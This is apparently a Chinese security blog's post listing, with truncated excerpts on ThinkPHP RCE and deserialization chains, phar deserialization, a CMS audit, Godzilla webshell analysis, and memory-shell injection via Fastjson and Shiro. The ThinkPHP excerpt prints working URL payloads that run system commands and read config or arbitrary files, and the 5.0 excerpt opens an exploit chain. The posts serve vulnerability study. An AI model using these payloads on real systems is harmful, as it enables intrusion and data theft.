哥斯拉Webshell分析
前言考完试了,终于可以继续学习了,这两天恶补前几天的摆烂,23号就开始军训了。这篇是记录学习哥斯拉分析的过程,因为没有最新的4.0版本的源码只有3.0的,所以本文是基于3.0,具体源码可以上gayhub下载JSP篇Webshell文件生成分析找到core/ui/component/dialog/GenerateShellLoder.java,这是一个JDialog的子类,生成webshell的按钮点击事件是通过automaticBindClick.bindJButtonClick(this,this);方法来进行绑定,跟进该方法publicstaticvoidbindJButtonClick(finalObjectfieldClass,ObjecteventClass){try{Field[]fields=fieldClass.getClass().getDeclaredFields();for(Fieldfield:fields){if(field.getType().isAssignableFrom(JButton.class)){fi...
Thinkphp5.x RCE
漏洞分析环境:thinkphp5.0.20+php7.3.4+apache+phpstormPayload:5.0.x?s=index/think\config/get&name=database.username#获取配置信息?s=index/\think\Lang/load&file=../../test.jpg#包含任意文件?s=index/\think\Config/load&file=../../t.php#包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami5.1.x?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?phpphpinfo();?>?s=index/\thin...
重生之学习thinkphp5.1.x反序列化
前言昨天分析完tp5.0的,今天继续5.1的,特地去学了一下phar反序列化,康复训练,tp5.1不提供下载,可以通过composer进行安装安装compoerhttps://install.phpcomposer.com/composer.phar放在php目录下,在PHP安装目录下新建一个composer.bat文件,并将下列代码保存到此文件中@php"%~dp0composer.phar"%*进入web根目录进行安装composercreate-projecttopthink/think=5.1.35tp5.1调用链分析反序列化,先在控制器里写个入口<?phpnamespaceapp\index\controller;classIndex{publicfunctionindex(){return'<styletype="text/css">*{padding:0;margin:0;}div{padding:4px48px;}a{color...
PHP反序列化之phar反序列化🛴
Phar简介PHAR(“PhpARchive”)是PHP里类似于JAR的一种打包文件,在PHP5.3或更高版本中默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个Phar包,直接放到PHP-FPM中运行。Phar文件结构主要分为三到四个部分,分别是stub,和manifestdescribingthecontents,还有filecontents以及signatureforverifyingPharintegrity,就是存根,描述文件内容的清单,文件内容以及签名格式。stub的基本结构是xxx<?phpxxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER();?>结尾。manifestdescribingthecontents是phar文件中被压缩的文件的信息,Meta-data部分信息会以序列化的形式储存。filecontents是被压缩文件的内容,没有特殊要求情况下,可以随便写Phar反序列化首先来个小demo,要利用phar反序列化,得构建一个phar文件。生成pha...
重生之学习thinkphp5.0.x反序列化
前言摸鱼两周,继续学习,审了一小段代码又不想审了,继续看thinkphp。调用链分析先给出exp吧,方便师傅们先理解<?phpnamespacethink\process\pipes{classWindows{public$files=[];}}namespacethink\model{classPivot{public$error;public$parent;public$append=['ch1e'=>'getError'];}}namespacethink\db{classQuery{public$model;}}namespacethink\console{classOutput{public$handle;public$styles=['getAttr'];}}namespacethink\model\relation{classH...
极致CMS审计
文件架构个人看了一下,Home是home模块的目录,A是admin模块的目录,cache是缓存目录,conf是一些配置文件,public是公共静态文件。FrPHP目录结构common包含系统部分配置、核心公共函数集、错误渲染页面db数据库语句的封装Extend拓展类所在目录libMVC基类Fr.phpFrPHP框架核心加载文件Fr.php主要的是run方法,在很多框架中都是在最后一行调用run方法来实现MVC的操作,来具体看看FrPHP的run方法publicfunctionrun(){spl_autoload_register(array($this,'loadClass'));$this->setDbConfig();$this->setReporting();$this->removeMagicQuotes();//$this->unregisterGlobals();$this->route();}第一行就是spl_autoload_register方法,他其实是一个自动加载类的机制,了解spl_aut...
thinkphp3.2.3反序列化初探
前言摆了好几天,好几个人老说我前言说摆烂,确实是在摆烂,前两天浅学了一下thinkphp3,今天来学学thinkphp3反序列化链构造反序列化链分析首先我们需要通过thinkphp来写一个反序列化的demo<?phpnamespaceHome\Controller;useThink\Controller;classIndexControllerextendsController{publicfunctionindex(){$a=unserialize(base64_decode(I('post.data')));}}php的反序列化和java不同,php的反序列化起点大部分是那俩魔术方法__wakeup和__destruct,因此我们寻找反序列化链就需要去搜寻这种魔术方法,其实有个小技巧,就是在找反序列化起点的类的时候,尽可能去找可控变量多的类,因为可控变量多才能让我们控制程序的可能更大。这里我们找到Think\Image\Driver\Imagick这个类,他这里的img属性可控publicfunction__d...
从0到1学习ThinkPHP3.2.3
前言摆了好几天,java暂时没有啥方向,感觉比较迷茫,出了两天的CTF题,感觉还是得补补php这块目录结构初始的ThinkPHP结构如下,Application和Public目录都是空的,Application目录默认是空的,但是第一次访问入口文件会自动生成,参考后面的入口文件部分。wwwWEB部署目录(或者子目录)├─index.php入口文件├─README.mdREADME文件├─Application应用目录├─Public资源文件目录└─ThinkPHP框架目录框架目录ThinkPHP的结构如下:├─ThinkPHP框架系统目录(可以部署在非web目录下面)│├─Common核心公共函数目录│├─Conf核心配置目录│├─Lang核心语言包目录│├─Library框架类库目录││├─Think核心Think类库包目录││├─Behavior行为类库目录││├─OrgOrg类库包目录││├─Vendor第三方类库目录││├─...更多类库目录│├─Mode框架应用模式目录│├─Tpl系统模板目录│├─LICENSE.txt框架授权协议文件│├─logo.png框架LOGO...
Fastjson反序列化注入内存马
前言学习完shiro反序列化注入内存马后,来学习一下创建的fastjson吧,fastjson和shiro不一样,fastjson是我自己打成功以后才写的文章,shiro确实是本地环境应该有问题,我感觉fastjson比较简单,话不多说,开始学习。环境搭建由于网上没有现成的测试版本,那只好自己随便搭建一个了com.Test.IndexControllerpackagecom.Test;importcom.alibaba.fastjson.JSON;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importorg.springframework.web.bind.annotation.RequestMethod;importorg.springframework.web.bind.annotation.RequestParam;importorg.springframework.web.bind.annotati...
Shiro反序列化注入内存马
前言之前学习了shiro反序列化以及Tomcat和Spring的一些内存马,但是一直没有把两者结合进行利用,今天来学习如何通过shiro反序列化注入内存马,这里其实我是先尝试了很久才写的文章,提前预告一下我踩了很久的坑,在注入内存马的时候我这里一直注入不了,但是同样的方式在别的师傅那能注入成功,我到现在也没搞明白。Shiro反序列化注入内存马之前在学内存马的时候是知道动态注册一个Filter,但是当时是通过jsp去动态注册Filter,但是使用反序列化去注入内存马确实没怎么仔细想,今天准备学习的时候看到师傅们的Exp,其实就明白了,就是通过TemplatesImpl去加载恶意类,然后把动态注册Filter的代码写在反序列化的类的static方法中。这里的话内存马的内容就不说了,想看的师傅可以看之前的笔记。这里我也用了P牛的环境,项目代码地址:https://github.com/phith0n/JavaThings。因为有最大请求头的长度限制,所以我们需要在Tomcat的/conf/server.xml中进行如下修改,添加一个`maxHttpHeaderSize="40...